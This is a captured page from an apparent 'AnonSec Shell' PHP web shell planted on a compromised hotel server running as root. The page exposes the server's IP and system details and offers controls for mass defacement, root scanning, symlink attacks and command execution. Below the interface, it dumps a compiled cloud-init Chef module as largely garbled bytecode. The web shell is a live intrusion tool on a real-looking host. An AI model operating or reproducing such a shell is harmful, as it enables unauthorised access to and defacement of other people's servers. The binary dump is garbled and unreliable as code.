AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/config/__pycache__/cc_chef.cpython-310.pyc
o

x[h�4�
@s�UdZddlZddlZddlZddlZddlZddlmZddlm	Z	m
Z
mZmZm
Z
ddlmZddlmZddlmZddlmZdd	lmZd
ZdZdZd
dd�ZdZdZdZdZdddedded
ddddd�Z e!dg�Z"e!gd��Z#e!ge �$��e"�e#�d�d�d�d �d!��Z%d"Z&d#Z'd$Z(e�)e*�Z+d%d&ged'gd(�Z,ee-d)<d*d+�Z.d,d-�Z/d.d/�Z0d0e1d1ed2ed3e2d4df
d5d6�Z3d7d8�Z4d9ed3e2fd:d;�Z5	dDd9efd<d=�Z6d2efd>d?�Z7d4ee1fd@dA�Z8dBdC�Z9dS)Ez7Chef: module that configures, starts and installs chef.�N)�List)�subp�
temp_utils�	templater�
url_helper�util)�Cloud)�Config)�
MetaSchema)�Distro)�
PER_ALWAYS�1.8)�	/etc/chefz
/var/log/chefz
/var/lib/chef�/var/chef/cache�/var/chef/backupz
/var/run/chef)rrr)z/var/cache/chefz/var/backups/chefz#https://www.chef.io/chef/install.sh�z/etc/chef/validation.pemz/etc/chef/firstboot.jsonz:verify_nonez:infoz/var/log/chef/client.logz/etc/chef/client.pemz/var/run/chef/client.pidT)�ssl_verify_mode�	log_level�log_location�validation_key�validation_cert�
client_key�json_attribs�file_cache_path�file_backup_path�pid_file�	show_time�encrypted_data_bag_secretr)rrrrrrr�
server_url�	node_name�environment�validation_name�chef_licensez/etc/chef/client.rbz/usr/bin/chef-client)z-dz-i�1800z-s�20�cc_chef�all�chef)�id�distros�	frequency�activate_by_schema_keys�metacCs6tj|ddd�}|rtj�t�rt�t�dSdSdS)N�delete_validation_post_execF��default)r�get_cfg_option_bool�os�path�isfile�CHEF_VALIDATION_PEM_PATH�unlink)�chef_cfg�
delete_pem�r8�:/usr/lib/python3/dist-packages/cloudinit/config/cc_chef.py�
post_run_chefgs��r:c	Cs�t��}|��D]-\}}|tvrt�d|�q|dur d||<q|tvr-t�||�||<qt�	||�||<q|�
t��tj	|d|d�tj	|ddd�|d|dd��|S)	Nz'Skipping unknown chef template key '%s'rr.r �_defaultrr!)�generated_byrr rr!)�CHEF_RB_TPL_DEFAULTS�copy�items�CHEF_RB_TPL_KEYS�LOG�debug�CHEF_RB_TPL_BOOL_KEYSrr0�get_cfg_option_str�update�make_header)�iidr6�params�k�vr8r8r9�get_template_paramsos.
����rKc	Cs�t��D]A\}}tj�|�rEt�|�D]1}tj�tj�||��r-t�dtj�||�|�qt�dtj�||�|�t	�
tj�||�|�qqdS)zEMigrate legacy chef backup and cache directories to new config paths.z4Ignoring migration of %s. File already exists in %s.zMoving %s to %s.N)�CHEF_DIR_MIGRATIONr?r1r2�exists�listdir�joinrArB�shutil�move)�old_dir�migrated_dir�filenamer8r8r9�migrate_chef_config_dirs�s$����rU�name�cfg�cloud�args�returncCsd|vrt�d|�dS|d}t�|d�}|stt�}t�|t�D]}t�	|�q"t
�|�dt�}|�d�}|rQ|dkrEt�
||�ntj�|�sQt�d|�tj|d	td
�}	|�d�}
|
r�t|j���}t||�}t�}
|��D]\}}|tvr�|r�|
�tj�|��qst�|
�t� |
|	|�nt�d|	�tj|d
t!d
�}|s�t�"d�n,i}d|vr�|d|d<d|vr�|d}t|�#��D]}||||<q�t�
|t$�%|��tj&|ddd
�}t'�(t)�}|r�|r�t*||�}n
|r�tj&|ddd
�}nd}|�rt+|�t,|�dSdS)z'Handler method activated by cloud-init.r'z8Skipping module named %s, no 'chef' key in configurationN�directoriesrr�systemzWchef validation_cert provided as 'system', but validation_key path '%s' does not exist.�config_pathr.zchef_client.rbz&No template found, not rendering to %s�firstboot_pathz7First boot path empty, not writing first boot json file�run_list�initial_attributes�
force_installF�exec)-rArBr�get_cfg_option_list�list�	CHEF_DIRS�	itertools�chain�REQUIRED_CHEF_DIRS�
ensure_dirrU�getr4�
write_filer1r2r3�warningrD�CHEF_RB_PATH�get_template_filename�str�
datasource�get_instance_idrK�setr?�CHEF_RB_TPL_PATH_KEYS�add�dirname�ensure_dirsr�render_to_file�CHEF_FB_PATH�info�keys�json�dumpsr0r�is_exe�CHEF_EXEC_PATH�install_chef�run_chefr:)rVrWrXrYr6�	chef_dirs�d�	vkey_path�vcert�cfg_filename�template_fnrGrH�param_pathsrIrJ�fb_filename�initial_jsonr`ra�	installed�runr8r8r9�handle�s~�
��

�
��
�r�cCs�t�d�tg}d|vr6|d}t|ttf�r|�|�nt|t�r(|�|�nt�	dt
|��|�t�n|�t�tj|dd�dS)NzRunning chef-client�exec_argumentszRUnknown type %s provided for chef 'exec_arguments' expected list, tuple, or stringF��capture)
rArBr~�
isinstancerd�tuple�extendro�appendrl�type�CHEF_EXEC_DEF_ARGSr)r6�cmd�cmd_argsr8r8r9r��s

�
r��distrocKs�|��}|�dd�}tj|��dd��'}tj�||�}|�d|�t	j
||dd�tjd
d|i|��Wd	�S1s=wYd	S)aWrite blob to a tempfile, and call subp with args, kwargs. Then cleanup.

    'basename' as a kwarg allows providing the basename for the file.
    The 'args' argument to subp will be updated with the full path to the
    filename as the first argument.
    �basename�	subp_blobT)�dir�	needs_exeri�)�moderYNr8)r>�popr�tempdir�get_tmp_exec_pathr1r2rO�insertrrkr)�blobr�rY�kwargsr��tmpd�tmpfr8r8r9�subp_blob_in_tempfiles�$�r�cCsP|durt}|durt}|durg}nd|g}tj||d�j}t|||ddd�S)agInstall an omnibus unified package from url.

    @param url: URL where blob of chef content may be downloaded. Defaults to
        OMNIBUS_URL.
    @param retries: Number of retries to perform when attempting to read url.
        Defaults to OMNIBUS_URL_RETRIES
    @param omnibus_version: Optional version string to require for omnibus
        install.
    Nz-v)�url�retrieszchef-omnibus-installF)r�r�rYr�r�)�OMNIBUS_URL�OMNIBUS_URL_RETRIESr�readurl�contentsr�)r�r�r��omnibus_versionrY�contentr8r8r9�install_chef_from_omnibus's�r�cCs�t�|dd�}tj|ddd�}|dkr2t�|dd�}t�|dt�}t|||j�tj|dd	d�}|S|dkr?|j�d
g�|S|dkr\t�|d�}t|jt�|d
�t�|d�|d�|St	�
d|�d}|S)N�install_type�packagesrbFr.�gems�version�ruby_versionTr'�omnibusr��omnibus_url�omnibus_url_retries)r�r�r�r�zUnknown chef install type '%s')rrDr0�RUBY_VERSION_DEFAULT�install_chef_from_gemsr��install_packagesr��get_cfg_option_intrArl)rXr6r�r��chef_versionr�r�r8r8r9rFs6����

�	�rcCs&d|d|g}|dkr|�d�|S)Nzruby%sz
ruby%s-devr
)zlibopenssl-ruby1.8zrubygems1.8)r�)r��pkgsr8r8r9�get_ruby_packagesgs
r�c
Cs�|�t|��tj�d�st�d|d�tj�d�s#t�d|d�|r9tjdddd|dd	d
ddg	d
d�dStjgd�d
d�dS)N�/usr/bin/gemz/usr/bin/gem%sz
/usr/bin/rubyz/usr/bin/ruby%s�installr'z-v %s�--no-ri�	--no-rdoc�--bindir�/usr/bin�-qFr�)r�r�r'r�r�r�r�r�)r�r�r1r2rMr�sym_linkr)r�r�r�r8r8r9r�os.�
�

�r�)NNN):�__doc__rfr{�loggingr1rP�typingr�	cloudinitrrrrr�cloudinit.cloudr�cloudinit.configr	�cloudinit.config.schemar
�cloudinit.distrosr�cloudinit.settingsrr�rerhrLr�r�r4rxr=�	frozensetrCrsrzr@rmr~r��	getLogger�__name__rAr,�__annotations__r:rKrUrordr�r�r�r�rr�r�r8r8r8r9�<module>s���
����������
�#X�
�!

Anon7 - 2022
AnonSec Team